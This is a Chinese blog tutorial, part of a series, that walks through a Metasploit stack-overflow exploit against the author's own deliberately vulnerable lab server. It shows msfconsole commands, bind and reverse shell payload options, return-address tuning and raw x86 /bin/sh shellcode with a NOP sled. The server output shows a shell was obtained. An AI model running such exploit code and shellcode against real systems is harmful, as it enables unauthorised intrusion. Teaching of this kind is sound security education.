我们先尝试使用这个脚本进行攻击:

msf > use exploit/linux/myvictim
msf exploit(myvictim) > set payload linux/x86/
set payload linux/x86/metsvc_bind_tcp set payload linux/x86/shell_reverse_tcp2
set payload linux/x86/metsvc_reverse_tcp
msf exploit(myvictim) > set payload linux/x86/metsvc_bind_tcp
payload => linux/x86/metsvc_bind_tcp
msf exploit(myvictim) > set rhost 10.10.10.133
rhost => 10.10.10.133
msf exploit(myvictim) > set rport
rport =>
msf exploit(myvictim) > exploit [*] Started bind handler
[*] Sending byte payload...
[*] Exploit completed, but no session was created.

server端显示:

bai@ubuntu:/mnt/hgfs/r/stack$ ./server
socket
bind
listen
server is run...
accept The IP of client is:10.10.10.128
The Port of client is:
close-new_fd
recv
accept
sp=0xbffff488,addr=0xbffff4a4 bytes.

显然攻击目的没有,达到,具体原因有两个(我认为的),第一是返回值部分不对,第二是payload本身是不是有问题

我们一一修改:

'MyVictimSever run on linux',
{
'Platform' => 'Linux',
'Ret' => 0xbffff4a4
}

第二,我们payload首先采用最先验证过的运行/bin/sh的shellcode

# Build the buffer for transmission
buf="";
buf  = make_nops(15);
buf+="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
buf+="\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
buf+="\x80\xe8\xdc\xff\xff\xff/bin/sh";
#buf+="\xa4\xf4\xff\xbf"
#buf += payload.encoded
buf += [].fill( target.ret,0,100).pack('V*')

尤其注意最前我们补充的nop 指令的数量是15,我在这里卡了很久,就是因为指令对齐问题,显然32位平台上,应该是四字节对齐的。

然后运行

msf  exploit(myvictim) > rexploit
[*] Reloading module... [*] Started bind handler
[*] Sending byte payload... [*] Exploit completed, but no session was created.

注意这里运行的是rexploit,这个表示重新载入模块,并执行,因为我刚刚修改过了。

可以看到server端:

The IP of client is:10.10.10.128
The Port of client is:
close-new_fd
accept
recv
sp=0xbffff488,addr=0xbffff4a4 bytes.
$ $

这里用的shellcode是自己生成的,没有用payload.encoded,是因为我尝试用payload,但是没有任何反应,应该是编码以后不能执行造成的。

使用metasploit进行栈溢出攻击-5的更多相关文章

  1. 使用metasploit进行栈溢出攻击-1

    攻击是在bt5下面进行,目标程序是在ubuntu虚拟机上运行. 首先,需要搞明白什么是栈溢出攻击,详细内容请阅读 http://blog.csdn.net/cnctloveyu/article/det ...

  2. 使用metasploit进行栈溢出攻击-2

    基本的栈溢出搞明白了,真实攻击中一个很重要的问题是shellcode生成. 利用Metasploit提供的工具,可以方便的生成shellcode,然后可以使用第一篇中的代码进行验证. 先说一下如何生成 ...

  3. 使用metasploit进行栈溢出攻击-4

    有了漏洞我们就可以进行攻击了.首先我们需要了解metasploit的exploit模块,具体可以看 http://www.offensive-security.com/metasploit-unlea ...

  4. 使用metasploit进行栈溢出攻击-3

    有了shellcode,就可以进行攻击了,但是要有漏洞才行,真实世界中的漏洞很复杂,并且很难发现,因此我专门做一个漏洞来进行攻击. 具体来说就是做一个简单的tcp server,里面包含明显的栈溢出漏 ...

  5. [转]现代Linux系统上的栈溢出攻击

    1. 基本内容 这个教程试着向读者展示最基本的栈溢出攻击和现代Linux发行版中针对这种攻击的防御机制.为此我选择了最新版本的Ubuntu系统(12.10),因为它默认集成了几个安全防御机制,而且它也 ...

  6. Linux下基本栈溢出攻击【转】

    转自:http://blog.csdn.net/wangxiaolong_china/article/details/6844415 版权声明:本文为博主原创文章,未经博主允许不得转载. 目录(?)[ ...

  7. [翻译]现代Linux系统上的栈溢出攻击【转】

    转自:http://www.codeweblog.com/%E7%BF%BB%E8%AF%91-%E7%8E%B0%E4%BB%A3linux%E7%B3%BB%E7%BB%9F%E4%B8%8A%E ...

  8. [转]初探Metasploit的自动攻击

    1. 科普Metasploit   以前只是个Back Track操作系统(简称:BT) 下的攻击框架,自成继承了后攻击渗透模块,隐隐有成为攻击平台的趋势. 我们都戏称它为美少妇,很简单,msf. 它 ...

  9. 实验三 kali下metasploit的漏洞攻击实践

    一.实验内容 1.使用kali进行靶机的漏洞扫描,利用metasploit选择其中的一个漏洞进行攻击,并获取权限. 2.分析攻击的原理以及获取了什么样的权限. 二.实验要求 1.熟悉kali原理和使用 ...

随机推荐

  1. hihoCoder#1095(二分搜索)

    时间限制:10000ms 单点时限:1000ms 内存限制:256MB 描述 Little Hi and Little Ho are playing a drinking game called HI ...

  2. Python:列表中,增加元素、删除元素、切片、其它

    一.向列表中增加元素 list.append(单个元素):在list列表末端增加一个元素: list.extend([元素1,元素2]):在list列表末端增加多个元素: list.insert(元素 ...

  3. Oracle OCM提纲

    ocm提纲 数据库创建详解 ◆ 通过手动方式创建数据库 环境变量的设置 密码文件的创建过程以及使用情景 Oracle数据库中参数文件的演进过程 参数文件的对比 参数的修改方式介绍 数据库启动过程时的内 ...

  4. Cassandra 学习三 安装

    1: 下载Cassandra 2  解压 3   设置环境变量  4 修改cassandra里的conf目录下配置文件            配置文件地址是   D:\cassandra\apache ...

  5. Celery-4.1 用户指南: Routing Tasks (路由任务)

    注意: 像主题和扇出之类的路由概念并不对所有传输介质都可用,请翻阅”传输比较表”. 基础 自动路由 路由最简单的方式是使用 task_create_missing_queues 设置(默认启用). 使 ...

  6. navicat for mysql ,mysql版本是8.0的版本,连接数据库报错1251,解决办法。

    我的mysql版本是8.0的版本,因为毕竟新的mysql采用新的保密方式,所以就的似乎不能用,改密码方式: 用管理员身份打开cmd mysql -uroot -p(输入密码)            进 ...

  7. CS231n 2016 通关 第三章-SVM与Softmax

    1===本节课对应视频内容的第三讲,对应PPT是Lecture3 2===本节课的收获 ===熟悉SVM及其多分类问题 ===熟悉softmax分类问题 ===了解优化思想 由上节课即KNN的分析步骤 ...

  8. HotSpotVM创建过程(JNI_CreateJavaVM)详解

    来自:<Java Performance>第3章 JVM Overview The HotSpot VM's implementation of the JNI_CreateJavaVM ...

  9. python的文件锁使用

    python的文件锁目前使用的是fcntl这个库,它实际上为 Unix上的ioctl,flock和fcntl 函数提供了一个接口. 1.fcntl库的简单使用 import fcntl import ...

  10. python去掉括号之间的字符

    在字符串中识别括号并删除括号及其中的内容括号包括 大中小 3种括号 输入为 1个字符串 s="我是一个人(中国人)[真的]{确定}"; 输出为 result = "我是一 ...